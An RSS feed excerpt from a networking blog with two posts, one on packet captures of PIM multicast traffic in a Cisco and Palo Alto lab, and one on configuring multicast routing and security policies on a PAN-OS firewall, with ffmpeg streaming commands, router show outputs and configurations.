					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />You never stop learning. One topic that hadn’t crossed my path in the past decade is: Multicast. Whew. Alongside all the technical literature, online presentations, and various blog posts, I decided to approach it the classic way &#8211; through packet captures. ;) So here’s a new part of the #UltimatePCAP, which contains quite a bit &#8230; <a href="https://weberblog.net/protocol-independent-multicast-pim-capture/" class="more-link">Continue reading <span class="screen-reader-text">Protocol Independent Multicast (PIM) Capture</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/11/Protocol-Independent-Multicast-PIM-Capture-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>You never stop learning. One topic that hadn’t crossed my path in the past decade is: <strong>Multicast</strong>. Whew. Alongside all the technical literature, online presentations, and various blog posts, I decided to approach it the classic way &#8211; through packet captures. ;)</p>
<p>So here’s a new part of the <a href="https://weberblog.net/the-ultimate-pcap/">#UltimatePCAP</a>, which contains quite a bit of <strong>PIM traffic</strong>, including Hello, Join/Prune, Register (via unicast!), and more. Of course, for IPv6 and legacy IP (IPv4). Let&#8217;s have a look:</p>
<p><span id="more-14023"></span></p>
<p>Please note that I&#8217;m *not* a multicast expert. Luckily, there are many good resources out there. I recommend this Cisco Live presentation from Aleksandar Sofranic (YouTube): <a href="https://www.youtube.com/watch?v=UEmmEMzPn6Q" target="_blank" rel="noopener">IP Multicast Introduction and Troubleshooting</a>, or this (partially free) <a href="https://networklessons.com/multicast" target="_blank" rel="noopener">multicast course on NetworkLessons.com</a>, or <a href="https://blog.golle.org/posts/Multicast/Intro" target="_blank" rel="noopener">this blog post series from Emil Boklund</a>.</p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neox-networks" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png" /></a></div>
<h2>Lab Setup</h2>
<p>This is my lab, consisting of <strong>2x Cisco router 2811</strong> with <strong>IOS version 15.1(4)M12a</strong> and <strong>1x Palo Alto Networks firewall PA-440</strong> with <strong>PAN-OS 11.1.10-h1</strong> (which only supports legacy IP for multicast, not IPv6). Everything is routed via OSPF/OSPFv3, while PIM is used for multicast traffic. The rendezvous point (RP) is statically configured on R1&#8217;s loopback address. A Raspberry Pi on the right-hand side is offering a multicast stream. Three clients are placed in the lab to receive the streams. The capture point was between the routers R1 and R2, leveraging a real TAP, namely the <a href="https://weberblog.net/my-network-companion-the-profishark/">ProfiShark</a> from Profitap.</p>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Lab.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14045" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Lab-1024x616.png" alt="" width="604" height="363" srcset="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Lab-1024x616.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Lab-300x181.png 300w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Lab-768x462.png 768w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Lab-1536x924.png 1536w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Lab-2048x1232.png 2048w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<p>Raspberry Pi ffmpeg stream (thanks to <a href="https://www.reddit.com/r/networking/comments/1jppn6y/which_multicast_stream_for_testing_purposes/" target="_blank" rel="noopener">this Reddit posting</a>):</p><pre class="urvanov-syntax-highlighter-plain-tag">ffmpeg -f lavfi -re -i "testsrc=size=640x360:rate=30:decimals=2" -c:v libx264 -f mpegts "udp://239.23.11.10:1234?pkt_size=1316"</pre><p>
Similar for IPv6:</p><pre class="urvanov-syntax-highlighter-plain-tag">ffmpeg -f lavfi -re -i "testsrc=size=640x360:rate=25:decimals=2" -c:v libx264 -f mpegts "udp://[ff05::2311]:1234?pkt_size=1316"</pre><p>
The clients/receivers used VLC to play the streams via 
			<span id="urvanov-syntax-highlighter-69e487bfaa10a597392575" class="urvanov-syntax-highlighter-syntax urvanov-syntax-highlighter-syntax-inline  crayon-theme-classic crayon-theme-classic-inline urvanov-syntax-highlighter-font-monaco" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important;"><span class="crayon-pre urvanov-syntax-highlighter-code" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">udp://@239.23.11.10:1234</span></span>, respectively 
			<span id="urvanov-syntax-highlighter-69e487bfaa10b625918206" class="urvanov-syntax-highlighter-syntax urvanov-syntax-highlighter-syntax-inline  crayon-theme-classic crayon-theme-classic-inline urvanov-syntax-highlighter-font-monaco" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important;"><span class="crayon-pre urvanov-syntax-highlighter-code" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">udp://@[ff05::2311]:1234</span></span>.</p>
<h2>It&#8217;s Capturing Time!</h2>
<p>This was the sequence of events that I captured for <strong>IPv4</strong> on 2025-11-26. All times in UTC:</p>
<ul>
<li>15:27 &#8211; cable between R1 and R2 was plugged into/through the TAP</li>
<li>15:31 &#8211; start of ffmpeg on the Raspberry Pi, sending to 239.23.11.10 on port 1234
<ul>
<li>15:34 &#8211; client 1 starts listening to the multicast stream via VLC</li>
<li>15:36 &#8211; client 1 stopped viewing (stream is cropped in the PCAP)</li>
</ul>
</li>
<li>15:42 &#8211; stop of ffmpeg on the Raspberry Pi
<ul>
<li>15:49 &#8211; client 1 starts again, though the stream is not present anymore</li>
<li>15:50 &#8211; client 1 stops</li>
</ul>
</li>
<li>15:51 &#8211; client 2 starts VLC, though the stream is not present</li>
<li>15:53 &#8211; client 2 stops</li>
</ul>
<p>For <strong>IPv6</strong>, the following sequence was captured on 2025-12-03, all times are in UTC as well:</p>
<ul>
<li>11:07 &#8211; cable between R1 and R2 was plugged into/through the TAP</li>
<li>11:10 &#8211; start of ffmpeg on Raspi, sending to [ff05::2311]:1234
<ul>
<li>11:12 &#8211; client 3 starts listening to the multicast stream via VLC</li>
<li>11:14 &#8211; client 3 stops</li>
</ul>
</li>
<li>11:16 &#8211; stop of ffmpeg on the Raspi
<ul>
<li>11:22 &#8211; client 3 starts again, though stream not running</li>
<li>11:23 &#8211; client 3 stops</li>
</ul>
</li>
</ul>
<p>Some notes concerning the capture:</p>
<ul>
<li>I left only the beginning of the actual H.264 streams in there to keep the file as small as possible. (Can you decode them? ;))</li>
<li>Neither IGMP (for IPv4) nor MLD (for IPv6) is interesting in this capture, as I captured between the two routers R1 and R2 rather than on the source or destination subnet of the multicast stream. Hence, we&#8217;re merely looking at PIM here.</li>
<li>I don&#8217;t know why there&#8217;s PIMv1 traffic in there, since PIMv2 is the default at all.</li>
<li>For IPv4, there are some unrelated PIM joins in there, as the clients requested some other multicast groups as well.</li>
<li>Concerning IPv6, there&#8217;s a lot of ICMPv6 traffic in the capture, which relates to RS/RA, NS/NA, and MLD. I left them within the trace, as I left ARP for IPv4 there as well.</li>
</ul>
<h2>Wiresharking</h2>
<p><strong>Please download the <a href="https://weberblog.net/the-ultimate-pcap/">UltimatePCAP</a> by yourself in order to have a closer look at all those packets and sessions.</strong> The following screenshots give a rough overview, though.</p>
<p>5x for legacy IP, 5x for IPv6:</p>

<a href='https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-01-Hello.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-01-Hello-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-02-Register.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-02-Register-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-03-Register-stop.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-03-Register-stop-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-04-Join.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-04-Join-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-05-Prune.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-05-Prune-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-IPv6-01-Hello.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-IPv6-01-Hello-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-IPv6-02-Register.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-IPv6-02-Register-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-IPv6-03-Register-stop.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-IPv6-03-Register-stop-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-IPv6-04-Join.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-IPv6-04-Join-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-IPv6-05-Prune.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Wireshark-PIM-IPv6-05-Prune-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>

<div style="margin-bottom:24px"><a href="https://weberblog.net/neox-networks" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketSolutions_Banner_DE_604x.png" /></a></div>
<h2>Shows &amp; Configurations</h2>
<p>Here are some <strong>multicast routing table outputs during the tests</strong>, all taken from <strong>R1</strong>:</p>
<p>As the stream started, but nobody was listening yet:</p><pre class="urvanov-syntax-highlighter-plain-tag">R1#show ip mroute

(*, 239.23.11.10), 00:00:25/stopped, RP 10.0.0.1, flags: SP
Incoming interface: Null, RPF nbr 0.0.0.0
Outgoing interface list: Null

(192.168.124.12, 239.23.11.10), 00:00:25/00:02:34, flags: P
Incoming interface: FastEthernet0/1, RPF nbr 10.23.0.2
Outgoing interface list: Null</pre><p>
Client 1 listens to the stream:</p><pre class="urvanov-syntax-highlighter-plain-tag">R1#show ip mroute

(*, 239.23.11.10), 00:03:46/00:03:17, RP 10.0.0.1, flags: S
  Incoming interface: Null, RPF nbr 0.0.0.0
  Outgoing interface list:
    FastEthernet0/0, Forward/Sparse, 00:00:16/00:03:17

(192.168.124.12, 239.23.11.10), 00:03:46/00:01:13, flags: T
  Incoming interface: FastEthernet0/1, RPF nbr 10.23.0.2
  Outgoing interface list:
    FastEthernet0/0, Forward/Sparse, 00:00:16/00:03:17</pre><p>
Stream was not present anymore, client 2 requested it:</p><pre class="urvanov-syntax-highlighter-plain-tag">R1#show ip mroute

(*, 239.23.11.10), 00:00:38/00:03:27, RP 10.0.0.1, flags: S
  Incoming interface: Null, RPF nbr 0.0.0.0
  Outgoing interface list:
    FastEthernet0/0, Forward/Sparse, 00:00:38/00:03:27</pre><p>
Same for <strong>IPv6</strong>: Stream started, no one listening yet:</p><pre class="urvanov-syntax-highlighter-plain-tag">R1#show ipv6 mroute

(2A00:6020:AD0B:83C1:E37:DC1D:6FB8:B0DC, FF05::2311), 00:00:09/00:03:20, flags: SP
  Incoming interface: FastEthernet0/1
  RPF nbr: FE80::21A:6CFF:FEA1:2B98
  Outgoing interface list: Null</pre><p>
Client 3 listens to the stream:</p><pre class="urvanov-syntax-highlighter-plain-tag">R1#show ipv6 mroute

(*, FF05::2311), 00:00:37/never, RP 2A00:6020:AD0B:8399::1, flags: SCJ
  Incoming interface: Tunnel1
  RPF nbr: 2A00:6020:AD0B:8399::1
  Immediate Outgoing interface list:
    FastEthernet0/0, Forward, 00:00:37/never

(2A00:6020:AD0B:83C1:E37:DC1D:6FB8:B0DC, FF05::2311), 00:03:14/00:03:01, flags: SJT
  Incoming interface: FastEthernet0/1
  RPF nbr: FE80::21A:6CFF:FEA1:2B98
  Inherited Outgoing interface list:
    FastEthernet0/0, Forward, 00:00:37/never</pre><p>
Stream not present anymore, client 3 requesting it nevertheless:</p><pre class="urvanov-syntax-highlighter-plain-tag">R1#show ipv6 mroute

(*, FF05::2311), 00:00:02/never, RP 2A00:6020:AD0B:8399::1, flags: SCJ
  Incoming interface: Tunnel1
  RPF nbr: 2A00:6020:AD0B:8399::1
  Immediate Outgoing interface list:
    FastEthernet0/0, Forward, 00:00:02/never</pre><p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/portable-network-capturing-neox-packet-falcon" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketFalcon_Banner_DE_604x.png" /></a></div>
<p>For the sake of completeness, here are the configuration commands related to IP routing and multicast for both routers:</p><pre class="urvanov-syntax-highlighter-plain-tag">############
R1
############
ip cef
ip multicast-routing
ipv6 unicast-routing
ipv6 cef
ipv6 multicast-routing
!
interface Loopback0
 ip address 10.0.0.1 255.255.255.255
 ipv6 address 2A00:6020:AD0B:8399::1/128
!
interface FastEthernet0/0
 description Switch-gi1/0/39
 ip address 192.168.3.99 255.255.255.0
 ip pim sparse-mode
 ip ospf authentication message-digest
 ip ospf message-digest-key 1 md5 7 0331783E321E13567A053D170D175C3837
 ipv6 address 2A00:6020:AD0B:8303::99/64
 ipv6 ospf 6 area 0.0.0.0
 ipv6 ospf authentication ipsec spi 305419896 sha1 7 0327785F572B711B6B51415C35472F5A557A0D050D646D074B5F335B59750C0D0A715A563C47090A06
 bfd interval 999 min_rx 999 multiplier 3
!
interface FastEthernet0/1
 description Switch-gi1/0/40
 ip address 10.23.0.1 255.255.255.0
 ip pim sparse-mode
 ip ospf authentication message-digest
 ip ospf message-digest-key 1 md5 7 1422313E38151831102417273816502230
 ipv6 address 2A00:6020:AD0B:83C0::1/64
 ipv6 ospf 6 area 0.0.0.0
 bfd interval 999 min_rx 999 multiplier 3
!
router ospf 1
 router-id 10.0.0.1
 redistribute connected subnets
 network 10.23.0.0 0.0.0.255 area 0.0.0.0
 network 192.168.3.0 0.0.0.255 area 0.0.0.0
 bfd all-interfaces
!
ip pim rp-address 10.0.0.1
!
ipv6 pim rp-address 2A00:6020:AD0B:8399::1
ipv6 router ospf 6
 router-id 10.0.0.1
 bfd all-interfaces
 redistribute connected
!

############
R2
############
ip cef
ip multicast-routing
ipv6 unicast-routing
ipv6 cef
ipv6 multicast-routing
!
interface Loopback0
 ip address 10.0.0.2 255.255.255.255
 ipv6 address 2A00:6020:AD0B:8399::2/128
!
interface FastEthernet0/0
 description Switch-gi1/0/41
 ip address 10.23.0.2 255.255.255.0
 ip pim sparse-mode
 ip ospf authentication message-digest
 ip ospf message-digest-key 1 md5 7 133034273F1D36301F280C212F27443325
 ipv6 address 2A00:6020:AD0B:83C0::2/64
 ipv6 nd ra suppress all
 ipv6 ospf 6 area 0.0.0.0
 bfd interval 999 min_rx 999 multiplier 3
!
interface FastEthernet0/1
 description Switch-gi1/0/42
 no ip address
!
interface FastEthernet0/1.124
 description R2-Netz1
 encapsulation dot1Q 124
 ip address 192.168.124.1 255.255.255.0
 ip pim sparse-mode
 ipv6 address 2A00:6020:AD0B:83C1::1/64
!
interface FastEthernet0/1.125
 description R2-Netz2
 encapsulation dot1Q 125
 ip address 192.168.125.1 255.255.255.0
 ip pim sparse-mode
 ipv6 address 2A00:6020:AD0B:83C2::1/64
!
router ospf 1
 router-id 10.0.0.2
 redistribute connected subnets
 network 10.23.0.0 0.0.0.255 area 0.0.0.0
 bfd all-interfaces
!
ip pim rp-address 10.0.0.1
!
ipv6 pim rp-address 2A00:6020:AD0B:8399::1
ipv6 router ospf 6
 router-id 10.0.0.2
 bfd all-interfaces
 redistribute connected
!</pre><p>
&nbsp;</p>
<p>Soli Deo Gloria!</p>
<p><span class="text-Kvkr6N truncate-Pc_c1s textS-BC51wP">Photo by <a href="https://unsplash.com/@cdd20?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">愚木混株 Yumu</a> on <a href="https://unsplash.com/photos/a-group-of-red-arrows-on-a-black-surface-HQH-GOZ6K2c?utm_source=unsplash&amp;utm_medium=referral&amp;utm_content=creditCopyText">Unsplash</a></span>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://weberblog.net/protocol-independent-multicast-pim-capture/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">14023</post-id>	</item>
		<item>
		<title>Multicast Routing w/ Palo</title>
		<link>https://weberblog.net/multicast-routing-w-palo/?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=multicast-routing-w-palo</link>
					<comments>https://weberblog.net/multicast-routing-w-palo/#respond</comments>
		
		<dc:creator><![CDATA[Johannes Weber]]></dc:creator>
		<pubDate>Thu, 05 Mar 2026 14:47:19 +0000</pubDate>
				<category><![CDATA[Palo Alto Networks]]></category>
		<category><![CDATA[Routing]]></category>
		<category><![CDATA[IGMP]]></category>
		<category><![CDATA[Multicast]]></category>
		<category><![CDATA[PIM]]></category>
		<guid isPermaLink="false">https://weberblog.net/?p=14037</guid>

					<description><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" />A rare use case on a Palo (at least from my point of view): Multicast Routing. And it can become as complex as you want. Fortunately, the basics are relatively easy to configure, at least if you have a rough understanding of multicast and routing with PIM and IGMP. (Recommended YouTube session here.) Let&#8217;s have &#8230; <a href="https://weberblog.net/multicast-routing-w-palo/" class="more-link">Continue reading <span class="screen-reader-text">Multicast Routing w/ Palo</span> <span class="meta-nav">&#8594;</span></a>]]></description>
										<content:encoded><![CDATA[<img width="300" height="169" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image-300x169.jpg" class="webfeedsFeaturedVisual wp-post-image" alt="" style="display: block; margin: auto; margin-bottom: 5px;max-width: 100%;" link_thumbnail="" decoding="async" loading="lazy" srcset="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image-300x169.jpg 300w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image-1024x576.jpg 1024w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image-768x432.jpg 768w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image-1536x864.jpg 1536w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-featured-image.jpg 1920w" sizes="auto, (max-width: 300px) 100vw, 300px" /><p>A rare use case on a Palo (at least from my point of view): <strong>Multicast Routing</strong>. And it can become as complex as you want. Fortunately, the basics are relatively easy to configure, at least if you have a rough understanding of multicast and routing with PIM and IGMP. (<a href="https://www.youtube.com/watch?v=UEmmEMzPn6Q" target="_blank" rel="noopener">Recommended YouTube session here.</a>) Let&#8217;s have a look at the <strong>common configuration</strong> steps on PAN-OS, the needed <strong>security policies</strong> to the special destination zone type of &#8220;multicast&#8221;, as well as some <strong>&#8220;show&#8221; outputs</strong> that can be used for troubleshooting:</p>
<p><span id="more-14037"></span></p>
<div style="margin-bottom:24px"><a href="https://weberblog.net/neoxpacketraven-modulare-glasfaser-taps" target="_blank" rel="noopener"><img decoding="async" class="aligncenter size-full" srcset="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Modular_Banner_DE_1208x.png 2x, https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Modular_Banner_DE_604x.png 1x" src="https://weberblog.net/wp-content/uploads/2022/01/NEOXPacketRaven-Modular_Banner_DE_604x.png" /></a></div>
<h2>The Lab</h2>
<ul>
<li>My lab consists of 3x Cisco routers (2811, IOS Version 15.1(4)M12a) and 1x PA-440 &#8220;pa-lab&#8221; with <strong>PAN-OS 11.1.10-h1</strong>, ARE enabled, hence: logical routers.</li>
<li>(Note that with <a href="https://docs.paloaltonetworks.com/pan-os/11-2/pan-os-release-notes/limitations/limitations-in-pan-os-11-2" target="_blank" rel="noopener">PAN-OS 11.2 and ARE, multicast routing is not supported at all</a>.)</li>
<li><strong>PIM-SM (sparse-mode)</strong> is used all over the lab. The rendezvous point (RP) is statically configured on R1&#8217;s loopback interface.</li>
<li>Since Palo only supports legacy IP (IPv4) with multicast, IPv6 is not of interest in this setup. 😢</li>
<li>A Raspberry Pi on the right-hand side offers a multicast stream at 239.23.11.10:1234. Accomplished by: 
			<span id="urvanov-syntax-highlighter-69e487bfaa39e382903172" class="urvanov-syntax-highlighter-syntax urvanov-syntax-highlighter-syntax-inline  crayon-theme-classic crayon-theme-classic-inline urvanov-syntax-highlighter-font-monaco" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important;"><span class="crayon-pre urvanov-syntax-highlighter-code" style="font-size: 12px !important; line-height: 15px !important;font-size: 12px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;">ffmpeg -f lavfi -re -i "testsrc=size=640x360:rate=25:decimals=2" -c:v libx264 -f mpegts "udp://239.23.11.10:1234?pkt_size=1316"</span></span>.</li>
<li>The Palo serves a client subnet directly (VLAN 51, client 1 aka receiver, <strong>IGMP</strong>), and is additionally connected to another &#8220;internal&#8221; router (R3, <strong>PIM</strong>), in which another receiver (client 2) resides.</li>
</ul>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-Lab-70.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14073" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-Lab-70-1024x549.png" alt="" width="604" height="324" srcset="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-Lab-70-1024x549.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-Lab-70-300x161.png 300w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-Lab-70-768x412.png 768w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-w-Palo-Lab-70-1536x823.png 1536w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
<h2>The Config</h2>
<p>The following screenshots provide an overview of the multicast settings needed for this kind of setup. Almost all settings were left at their defaults.</p>

<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-01-enable-multicast-protocol.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-01-enable-multicast-protocol-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-02-PIM.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-02-PIM-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-03-PIM-Interfaces.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-03-PIM-Interfaces-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-04-PIM-Rendezvous-Point.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-04-PIM-Rendezvous-Point-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>
<a href='https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-05-IGMP.png'><img loading="lazy" decoding="async" width="150" height="150" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Routing-Palo-05-IGMP-150x150.png" class="attachment-thumbnail size-thumbnail" alt="" /></a>

<p>Special attention needs to be paid to the <strong>security policies</strong>:</p>
<ul>
<li>Allowing &#8220;<strong>pim</strong>&#8221; is only necessary if another router must communicate with the RP *through* the Palo, or if the Palo itself provides the RP. If the Palo is only terminating receivers (IGMP), there&#8217;s no PIM policy needed. (I&#8217;m not fully sure why, since for other routing protocols such as OSPF or BGP, those allow rules are a must. Yes, I&#8217;ve checked an explicit intrazone-deny rule as well. Still no hits.)</li>
<li><strong>IGMP</strong> must be allowed from the receiver&#8217;s zone to the special &#8220;<strong>multicast</strong>&#8221; destination zone. Of course, destination address objects can be used to further restrict the traffic.</li>
<li>For the actual <strong>multicast traffic</strong>, in my case, a video stream on UDP port 1234, a policy has to allow this type of traffic <strong>from the multicast source</strong> (in my case: zone &#8220;transfer&#8221;) <strong>to the special &#8220;multicast&#8221; destination zone</strong>.</li>
</ul>
<p><a href="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Policies-Palo-Alto-1x.png"><img loading="lazy" decoding="async" class="aligncenter size-large wp-image-14201" src="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Policies-Palo-Alto-1x-1024x443.png" alt="" width="604" height="261" srcset="https://weberblog.net/wp-content/uploads/2025/12/Multicast-Policies-Palo-Alto-1x-1024x443.png 1024w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Policies-Palo-Alto-1x-300x130.png 300w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Policies-Palo-Alto-1x-768x333.png 768w, https://weberblog.net/wp-content/uploads/2025/12/Multicast-Policies-Palo-Alto-1x.png 1307w" sizes="auto, (max-width: 604px) 100vw, 604px" /></a></p>
